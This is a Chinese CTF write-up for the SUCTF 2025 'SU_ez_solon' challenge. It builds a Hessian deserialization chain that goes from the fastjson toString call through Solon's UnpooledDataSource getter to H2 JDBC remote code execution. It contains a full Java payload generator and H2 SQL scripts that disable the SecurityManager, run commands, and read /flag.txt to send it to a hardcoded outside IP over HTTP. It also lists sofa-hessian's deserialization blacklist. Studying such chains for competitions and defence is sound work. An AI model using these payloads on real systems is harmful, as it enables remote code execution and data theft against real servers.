SU_ez_solon

solon框架触发getter新链,结合h2 rce

调试我这里是用cfr进行的反编译(有时候又不太行),然后启动项目进行的调试,用上面方法似乎只能调那个框架

前不久ccb也遇到过这个框架的Java题,不过那个是利用Linux jdk中的类作为sink点,懒得搭环境看了下wp没复现

这个题是直接给了hessian反序列化,然后调用了toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
@Controller
public class IndexController {
public IndexController() {
}

@Mapping("/hello")
public String hello(@Param(defaultValue = "hello") String data) throws Exception {
byte[] decode = Base64.getDecoder().decode(data);
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(decode));
Object object = hessian2Input.readObject();
return object.toString();
}
}

看看依赖存在fastjson1.2.83那么就是利用这个调getter然后rce

image.png

但是sofa-hessian自带的有序列化黑名单,可以调一下看看序列化过程,弄了一个有黑名单中类的poc来调试

image-20250223011903921

可以看到,序列化的时候就直接失败了,可以直接报错的地方下个断点,这样就能看到调用栈了,然后一步步跟即可

image-20250223011933598

跟进getSerializer

image.png

然后进入到一开始的断点resolve 方法中

image-20250223011134672

然后就是对于要序列化的类一个个检测

image.png

最终抛出TemplatesImpl 在黑名单

image-20250223011227579

整个黑名单挺多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
aj.org.objectweb.asm.
br.com.anteros.
bsh.
ch.qos.logback.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.druid.stat.JdbcDataSourceStat
com.alibaba.fastjson.annotation.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.hessian.test.TestCons
com.caucho.naming.Qname
com.ibatis.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.
com.mysql.cj.jdbc.admin.
com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
com.mysql.cj.jdbc.MysqlDataSource
com.mysql.cj.jdbc.MysqlXADataSource
com.mysql.cj.log.
com.mysql.jdbc.util.
com.p6spy.engine.
com.rometools.rome.feed.
com.sun.
com.taobao.eagleeye.wrapper.
com.taobao.vipserver.commons.collections.functors.
com.zaxxer.hikari.
flex.messaging.util.concurrent.
groovy.lang.
java.awt.
java.beans.
java.net.InetAddress
java.net.Socket
java.net.URL
java.rmi.
java.security.
java.util.EventListener
java.util.jar.
java.util.logging.
java.util.prefs.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.
javax.activation.
javax.imageio.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.net.
javax.print.
javax.script.
javax.sound.
javax.swing.
javax.tools.
javax.xml
jdk.internal.
jodd.db.connection.
junit.
net.bytebuddy.dynamic.loading.
net.sf.cglib.
net.sf.ehcache.hibernate.
net.sf.ehcache.transaction.manager.
ognl.
oracle.jdbc.
oracle.jms.aq.
oracle.net.
org.aoju.bus.proxy.provider.
org.apache.activemq.ActiveMQConnectionFactory
org.apache.activemq.ActiveMQXAConnectionFactory
org.apache.activemq.jms.pool.
org.apache.activemq.pool.
org.apache.activemq.spring.
org.apache.aries.transaction.
org.apache.axis2.jaxws.spi.handler.
org.apache.axis2.transport.jms.
org.apache.bcel.
org.apache.carbondata.core.scan.expression.
org.apache.catalina.
org.apache.cocoon.
org.apache.commons.beanutils.
org.apache.commons.codec.
org.apache.commons.collections.comparators.
org.apache.commons.collections.functors.
org.apache.commons.collections.Transformer
org.apache.commons.collections4.comparators.
org.apache.commons.collections4.functors.
org.apache.commons.collections4.Transformer
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.
org.apache.commons.fileupload.
org.apache.commons.jelly.
org.apache.commons.logging.
org.apache.commons.proxy.
org.apache.cxf.jaxrs.provider.
org.apache.hadoop.shaded.com.zaxxer.hikari.
org.apache.http.auth.
org.apache.http.conn.
org.apache.http.cookie.
org.apache.http.impl.
org.apache.ibatis.datasource.
org.apache.ibatis.executor.
org.apache.ibatis.javassist.
org.apache.ibatis.ognl.
org.apache.ibatis.parsing.
org.apache.ibatis.reflection.
org.apache.ibatis.scripting.
org.apache.ignite.cache.
org.apache.ignite.cache.jta.
org.apache.log.output.db.
org.apache.log4j.
org.apache.logging.
org.apache.myfaces.context.servlet.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.
org.apache.xbean.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.codehaus.jackson.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.
org.geotools.filter.
org.h2.jdbcx.
org.h2.server.
org.h2.value.
org.hibernate.
org.javasimon.
org.jaxen.
org.jboss.
org.jdom.
org.jdom2.transform.
org.junit.
org.logicalcobwebs.
org.mockito.
org.mortbay.jetty.
org.mortbay.log.
org.mozilla.javascript.
org.objectweb.asm.
org.osjava.sj.
org.python.core.
org.quartz.
org.slf4j.
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
org.springframework.beans.factory.BeanFactory
org.springframework.beans.factory.config.PropertyPathFactoryBean
org.springframework.beans.factory.support.DefaultListableBeanFactory
org.springframework.jndi.support.SimpleJndiBeanFactory
org.springframework.orm.jpa.AbstractEntityManagerFactoryBean
org.springframework.transaction.jta.JtaTransactionManager
org.springframework.jndi.JndiObjectTargetSource
org.springframework.beans.factory.config.MethodInvokingFactoryBean
org.thymeleaf.
org.yaml.snakeyaml.tokens.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

基本上都在这里面了,所以现在就需要找一条能够触发DriverManager.getConnection 的类,用来打h2 rce,这里利用tabby,借用bmth师傅的规则

1
2
match path=(m1:Method)-[:CALL*..10]->(m2:Method {IS_SINK:true}) where m1.NAME =~ "get.*" and m1.PARAMETER_SIZE=0 and m2.VUL="JNDI"
return path limit 10

image-20250223011454984

成功找到UnpooledDataSource

image-20250223011559101

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.alibaba.fastjson.JSONObject;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import org.noear.solon.data.util.UnpooledDataSource;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception{
//获取ReflectionFactory对象,它本身是单例的
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
//获取Object类的构造器
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
//根据Object构造器创建一个User类的构造器
Constructor<?> constructorForSerialization = reflectionFactory
.newConstructorForSerialization(UnpooledDataSource.class, constructor);
constructorForSerialization.setAccessible(true);
//实例化对象
UnpooledDataSource unpooledDataSource = (UnpooledDataSource) constructorForSerialization.newInstance();

unpooledDataSource.setUrl("jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'");
JSONObject jsonObject = new JSONObject();
jsonObject.put("ds", unpooledDataSource);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(jsonObject);
hessianOutput.flush();

byte[] data = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String payload = encoder.encodeToString(data);
System.out.println(payload);
}
}

然后题目中还有一个securityManager需要绕过

image-20250223011625246

那么在命令执行前将其设置为null即可,poc.sql如下

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {System.setSecurityManager(null);Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

image-20250223011641411

读取文件的poc.sql

1
2
3
CREATE ALIAS EXECf AS 'String shellexec(String cmd) throws java.io.IOException {String str = "";java.io.File file = new java.io.File("/flag.txt");try (java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(file))) {String line;while ((line = reader.readLine()) != null) {    str += line;}} catch (java.io.IOException e) {e.printStackTrace();} java.net.URL url = new java.net.URL("http://8.134.216.221:1234/test?str="+str);java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();connection.setRequestMethod("GET");connection.setRequestProperty("User-Agent", "Java HTTP Client");int responseCode = connection.getResponseCode(); return "";}';

CALL EXECf ('114514')

利用链

1
2
3
4
com.alibaba.fastjson.JSONObject.toString
=>org.noear.solon.data.util.UnpooledDataSource.getConnection
=>java.sql.DriverManager.getConnection
=>RCE

有些点没细跟,后面遇到了再说,主要学一下hessian反序列化,复现遇到一堆奇奇怪怪的问题,难绷,一度不想看了。。。。

参考

2025 SUCTF java题复现 | Bmth’s blog

SUCTF2025 出题记录 - yulate’s blog

SUCTF2025 Web方向部分思路 | Err0r233

https://blog.potatowo.top/2025/01/15/SUCTF2025